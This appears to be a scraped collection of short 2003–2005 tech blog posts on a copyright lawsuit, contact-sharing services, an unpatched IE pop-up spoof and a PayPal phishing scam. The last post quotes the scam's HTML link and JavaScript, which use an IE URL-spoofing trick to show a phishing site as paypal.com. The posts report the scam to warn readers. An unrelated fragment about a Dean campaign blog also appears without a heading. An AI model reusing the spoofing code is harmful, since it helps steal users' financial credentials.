Porn Site Suing Credit Card Companies
Because That's Where The Money Is

Porn Site Suing Credit Card Companies
Because That's Where The Money Is 01/29/2004 02:49 AM
It's no secret that pornographic pictures from one porn site quickly get copied to plenty of other porn sites. It seems that one porn site is taking an interesting strategy in trying to deal with this issue. Instead of going after those who copied the pictures, they've decided to sue the credit card companies that process payments for the sites that have copied their photos. The official reasoning is that they're suing the credit card companies for copyright infringement because the credit card companies are profiting off of the transactions on these other sites. That these credit card companies haven't actually infringed on any copyrights doesn't seem to enter the picture. This is, of course, the typical response to the "who do you sue?" question. The answer is always "the company with the most money" - even if that company hasn't actually done anything wrong.

Is The Contact Info You Provide Someone
Public Or Private Info? 02/10/2004 05:32 PM
I've complained in the past about the annoyanc e of Plaxo spam. Lately, the more I've been thinking about Plaxo, the more it annoys me. Though I've never had anything to do with the company, and have never responded to a single spam, they now have a database with my contact info that others gave it. Bambi Francisco over at CBS Marketwatch has noticed the same thing with Spoke Software, which she finds disconcerting. However, I'm wondering about the bigger legal issues: is the personal info you've given to individuals for business or personal reasons shareable? Some say that all Spoke is doing is collecting public information. However, if the info was given to an individual, is there a reasonable expectation that the information is not public at all, but for private use only? I'm not sure what the answer is, but I wonder how long until there's a lawsuit around this issue. Personally, like so many other things, I don't think it's something you can get "back in the box," but these systems do reveal to me who is freely giving away personal information about me, which could make me less willing to do business with them in the future.

IE Pop-Up Spoof Won't Get Patched

IE Pop-Up Spoof Won't Get Patched 06/24/2005 08:20 PM
Microsoft does not plan to update Internet Explorer to prevent a spoofing attack that could trick users into giving out personal information to hackers.

In the attack, JavaScript is used to display a pop-up window in front of a trusted Web site. The pop-up appears to be part of the legitimate site, but actually is linked to a different, malicious site. A user might be fooled into sending personal information to the scammers. Although the pop-ups could be used by attackers, overlaying multiple windows in a Web browser is a feature, not a vulnerability, according to an advisory posted Tuesday on Microsoft's TechNet Web site.

"This is an example of how current standard Web browser functionality could be used in phishing attempts," Microsoft said in the advisory. Phishing is a prevalent type of online fraud that attempts to steal sensitive information such as usernames, passwords and credit card numbers. The schemes typically combine spam e-mail and fraudulent Web pages that look like legitimate sites.

The Dean blog responds by posting the ad and a new version with dubbed voices so that the couple is now explaining why they're supporting Dean. It's a totally amateur job, and is intentionally funny because of that. Now the blog is hosting a make-your-own-postcard page where you can make your own list of the sort of Dean supporter you are. The blog notes that...

New, sneaky, evil PayPal spoof.

New, sneaky, evil PayPal spoof. 12/28/2003 06:58 PM
Mike Outmesguine points us to yet another new riff on the classic PayPal scam (click thumbnail for full-size image):

I got this email that looks like it came from PayPal. Of course, I didn't believe it for a second. But I'm sure others would. Digging deeper, the URL redirects people to a site in China that uses the IE URL spoof to seem like it's sitting at paypal.com. Insidious! I reported this to Paypal and they confirmed it's a spoof site. Here's the breakdown:

1. URL included in the original email:
<a href="http://www.paypal.com%01%01%01%01%01%01%
01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01

%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01%01
%01@pp.youlikeshe.com ">click here</a>
2. jump-off site pp.youlikeshe.com
3. Actual site being loaded (remove spaces to activate): www . Epack . Ch/p/verify.htm
4. Spoofed to appear as www.paypal.com using the IE URL spoof vulnerability shown here:
<script language="JavaScript"> location.href=unescape('http://www.paypal.com%01@www.epack.ch/p/verify .htm '); </script>

Microsoft has not released a patch for this URL vulnerability. Now it seems there is a real-world attack, albeit only to Paypal members so far. Sneaky buggers!
